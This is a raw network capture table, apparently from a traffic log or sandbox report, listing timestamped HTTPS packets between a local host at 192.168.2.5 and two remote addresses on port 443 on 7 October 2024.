Oct 7, 2024 21:53:25.176497936 CEST	443	49913	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.179064035 CEST	443	49913	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.182727098 CEST	49913	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.182852030 CEST	49913	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.182866096 CEST	443	49913	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.182884932 CEST	49913	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.182892084 CEST	443	49913	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.183551073 CEST	443	49912	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.183715105 CEST	443	49912	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.183820009 CEST	49912	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.184360027 CEST	49912	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.184384108 CEST	443	49912	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.184397936 CEST	49912	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.184405088 CEST	443	49912	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.186794043 CEST	443	49914	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.187007904 CEST	49917	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.187031031 CEST	443	49917	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.187057972 CEST	443	49914	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.187133074 CEST	49917	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.187776089 CEST	49918	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.187777996 CEST	49914	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.187786102 CEST	443	49918	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.187841892 CEST	49918	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.187969923 CEST	49914	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.187979937 CEST	443	49914	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.188002110 CEST	49914	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.188008070 CEST	443	49914	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.190495968 CEST	49917	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.190512896 CEST	443	49917	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.190818071 CEST	49918	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.190825939 CEST	443	49918	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.197092056 CEST	49919	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.197132111 CEST	443	49919	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.197206974 CEST	49919	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.197936058 CEST	49919	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.197952986 CEST	443	49919	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.246401072 CEST	443	49915	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.246470928 CEST	443	49915	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.246572971 CEST	443	49915	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.246637106 CEST	49915	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.246712923 CEST	49915	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.246726036 CEST	443	49915	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.246737003 CEST	49915	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.246742964 CEST	443	49915	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.249517918 CEST	49920	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.249537945 CEST	443	49920	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.249737024 CEST	49920	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.249890089 CEST	49920	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.249902964 CEST	443	49920	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.510822058 CEST	443	49916	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.511759043 CEST	49916	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.511797905 CEST	443	49916	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.512413025 CEST	49916	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.512419939 CEST	443	49916	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.605294943 CEST	443	49916	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.605504990 CEST	443	49916	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.605797052 CEST	49916	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.605798006 CEST	49916	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.605798006 CEST	49916	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.608880997 CEST	49921	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.608932018 CEST	443	49921	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.609020948 CEST	49921	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.609222889 CEST	49921	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.609241009 CEST	443	49921	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.814100981 CEST	443	49919	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.815010071 CEST	49919	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.815033913 CEST	443	49919	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.815448999 CEST	49919	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.815454960 CEST	443	49919	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.816576958 CEST	443	49917	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.816953897 CEST	49917	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.816976070 CEST	443	49917	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.817425966 CEST	49917	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.817430973 CEST	443	49917	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.824070930 CEST	443	49918	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.826867104 CEST	49918	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.826885939 CEST	443	49918	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.827259064 CEST	49918	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.827266932 CEST	443	49918	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.895157099 CEST	443	49920	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.899064064 CEST	49920	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.899096012 CEST	443	49920	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.899581909 CEST	49920	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.899589062 CEST	443	49920	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.907656908 CEST	49916	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.907685995 CEST	443	49916	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.909297943 CEST	443	49919	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.909461975 CEST	443	49919	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.909535885 CEST	49919	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.909713030 CEST	49919	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.909723997 CEST	443	49919	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.909734011 CEST	49919	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.909740925 CEST	443	49919	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.912533998 CEST	49922	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.912564993 CEST	443	49922	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.912664890 CEST	49922	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.912791967 CEST	49922	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.912806988 CEST	443	49922	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.916162014 CEST	443	49917	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.916318893 CEST	443	49917	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.916387081 CEST	49917	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.916420937 CEST	49917	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.916420937 CEST	49917	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.916430950 CEST	443	49917	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.916439056 CEST	443	49917	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.918526888 CEST	49923	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.918559074 CEST	443	49923	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.918663979 CEST	49923	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.918797970 CEST	49923	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.918813944 CEST	443	49923	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.918864965 CEST	443	49918	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.918965101 CEST	443	49918	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.919004917 CEST	443	49918	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.919065952 CEST	49918	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.919096947 CEST	49918	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.919102907 CEST	443	49918	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.919111967 CEST	49918	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.919116020 CEST	443	49918	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.920950890 CEST	49924	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.920964956 CEST	443	49924	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.921051979 CEST	49924	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.921152115 CEST	49924	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.921159029 CEST	443	49924	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.994155884 CEST	443	49920	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.994294882 CEST	443	49920	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.994411945 CEST	49920	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.994435072 CEST	49920	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.994445086 CEST	443	49920	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.994460106 CEST	49920	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.994466066 CEST	443	49920	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.997011900 CEST	49925	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.997049093 CEST	443	49925	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.997113943 CEST	49925	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.997234106 CEST	49925	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.997246027 CEST	443	49925	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.241049051 CEST	443	49921	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.248792887 CEST	49921	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.248819113 CEST	443	49921	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.249313116 CEST	49921	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.249322891 CEST	443	49921	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.256834984 CEST	443	49902	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:26.256871939 CEST	443	49902	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:26.256903887 CEST	443	49902	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:26.256980896 CEST	49902	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:26.257009029 CEST	443	49902	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:26.257025957 CEST	443	49902	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:26.257042885 CEST	49902	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:26.257081985 CEST	49902	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:26.257458925 CEST	49902	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:26.257474899 CEST	443	49902	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:26.257488966 CEST	49902	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:26.257497072 CEST	443	49902	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:26.342824936 CEST	443	49921	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.344145060 CEST	443	49921	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.344214916 CEST	49921	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.344238043 CEST	443	49921	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.344259977 CEST	443	49921	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.344331026 CEST	49921	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.344384909 CEST	49921	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.344403982 CEST	443	49921	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.344417095 CEST	49921	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.344424009 CEST	443	49921	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.347831964 CEST	49926	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.347872019 CEST	443	49926	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.347955942 CEST	49926	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.348248005 CEST	49926	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.348265886 CEST	443	49926	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.396430969 CEST	49927	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:26.396470070 CEST	443	49927	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:26.396537066 CEST	49927	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:26.396749973 CEST	49927	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:26.396763086 CEST	443	49927	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:26.525067091 CEST	443	49923	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.525568962 CEST	49923	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.525584936 CEST	443	49923	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.526093960 CEST	49923	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.526098967 CEST	443	49923	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.529628038 CEST	443	49924	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.529979944 CEST	49924	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.529998064 CEST	443	49924	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.530150890 CEST	443	49922	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.530430079 CEST	49924	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.530436039 CEST	443	49924	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.530638933 CEST	49922	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.530647039 CEST	443	49922	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.531013966 CEST	49922	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.531018019 CEST	443	49922	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.621628046 CEST	443	49923	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.623303890 CEST	443	49923	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.623373985 CEST	49923	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.623425961 CEST	49923	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.623431921 CEST	443	49923	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.623444080 CEST	49923	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.623447895 CEST	443	49923	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.626137972 CEST	49928	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.626174927 CEST	443	49928	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.626244068 CEST	49928	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.626446962 CEST	49928	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.626461029 CEST	443	49928	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.632878065 CEST	443	49922	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.633025885 CEST	443	49922	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.633099079 CEST	49922	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.633126974 CEST	49922	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.633140087 CEST	443	49922	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.633148909 CEST	49922	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.633152962 CEST	443	49922	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.636053085 CEST	49929	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.636092901 CEST	443	49929	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.636259079 CEST	49929	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.636286020 CEST	49929	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.636292934 CEST	443	49929	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.662599087 CEST	443	49924	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.663125038 CEST	443	49924	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.663187027 CEST	49924	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.663333893 CEST	49924	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.663348913 CEST	443	49924	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.663363934 CEST	49924	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.663371086 CEST	443	49924	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.663856983 CEST	443	49925	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.665750980 CEST	49930	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.665755033 CEST	49925	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.665757895 CEST	443	49930	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.665779114 CEST	443	49925	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.665836096 CEST	49930	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.666099072 CEST	49930	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.666110039 CEST	443	49930	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.666344881 CEST	49925	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.666353941 CEST	443	49925	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.797224998 CEST	443	49925	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.797643900 CEST	443	49925	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.797760963 CEST	443	49925	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.797821999 CEST	49925	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.798085928 CEST	49925	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.798101902 CEST	443	49925	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.798120022 CEST	49925	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.798125029 CEST	443	49925	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.800688982 CEST	49931	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.800729036 CEST	443	49931	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.800791979 CEST	49931	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.800930977 CEST	49931	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.800942898 CEST	443	49931	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.970164061 CEST	443	49926	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.971036911 CEST	49926	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.971057892 CEST	443	49926	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:26.971534967 CEST	49926	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:26.971544027 CEST	443	49926	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.287632942 CEST	443	49926	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.287791014 CEST	443	49926	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.288022041 CEST	49926	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.288134098 CEST	49926	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.288158894 CEST	443	49926	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.288166046 CEST	49926	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.288172960 CEST	443	49926	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.288331985 CEST	443	49927	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:27.289323092 CEST	49927	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:27.289355993 CEST	443	49927	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:27.290045023 CEST	49927	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:27.290051937 CEST	443	49927	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:27.290112972 CEST	49927	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:27.290121078 CEST	443	49927	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:27.291645050 CEST	49932	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.291682959 CEST	443	49932	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.292237997 CEST	49932	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.292237997 CEST	49932	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.292285919 CEST	443	49932	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.464382887 CEST	443	49928	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.465018988 CEST	49928	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.465048075 CEST	443	49928	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.465632915 CEST	49928	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.465646982 CEST	443	49928	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.468514919 CEST	443	49930	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.468789101 CEST	443	49931	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.468924999 CEST	49930	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.468943119 CEST	443	49930	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.469285965 CEST	49931	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.469312906 CEST	443	49931	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.469374895 CEST	49930	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.469382048 CEST	443	49930	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.469736099 CEST	49931	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.469743967 CEST	443	49931	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.475085020 CEST	443	49929	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.475477934 CEST	49929	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.475486040 CEST	443	49929	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.475948095 CEST	49929	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.475953102 CEST	443	49929	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.560233116 CEST	443	49928	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.560539961 CEST	443	49928	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.560715914 CEST	49928	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.560772896 CEST	49928	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.560772896 CEST	49928	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.560802937 CEST	443	49928	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.560808897 CEST	443	49928	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.562602997 CEST	443	49931	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.562764883 CEST	443	49931	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.562832117 CEST	49931	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.562947989 CEST	49931	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.562968016 CEST	443	49931	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.562989950 CEST	49931	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.562999010 CEST	443	49931	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.563733101 CEST	49933	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.563774109 CEST	443	49933	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.563853979 CEST	49933	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.563857079 CEST	443	49930	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.563884974 CEST	443	49930	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.563926935 CEST	443	49930	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.563981056 CEST	49930	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.564187050 CEST	49930	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.564198971 CEST	443	49930	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.564210892 CEST	49930	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.564217091 CEST	443	49930	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.564946890 CEST	49933	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.564958096 CEST	443	49933	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.568115950 CEST	49934	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.568134069 CEST	443	49934	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.568315029 CEST	49934	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.568315029 CEST	49934	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.568337917 CEST	443	49934	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.568340063 CEST	49935	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.568388939 CEST	443	49935	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.568600893 CEST	49935	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.568600893 CEST	49935	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.568625927 CEST	443	49935	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.573857069 CEST	443	49929	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.574111938 CEST	443	49929	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.574171066 CEST	49929	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.574196100 CEST	49929	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.574208021 CEST	443	49929	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.574218035 CEST	49929	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.574225903 CEST	443	49929	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.576239109 CEST	49936	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.576261997 CEST	443	49936	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:27.576400995 CEST	49936	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:27.576513052 CEST	49936	443	192.168.2.5	13.107.246.64
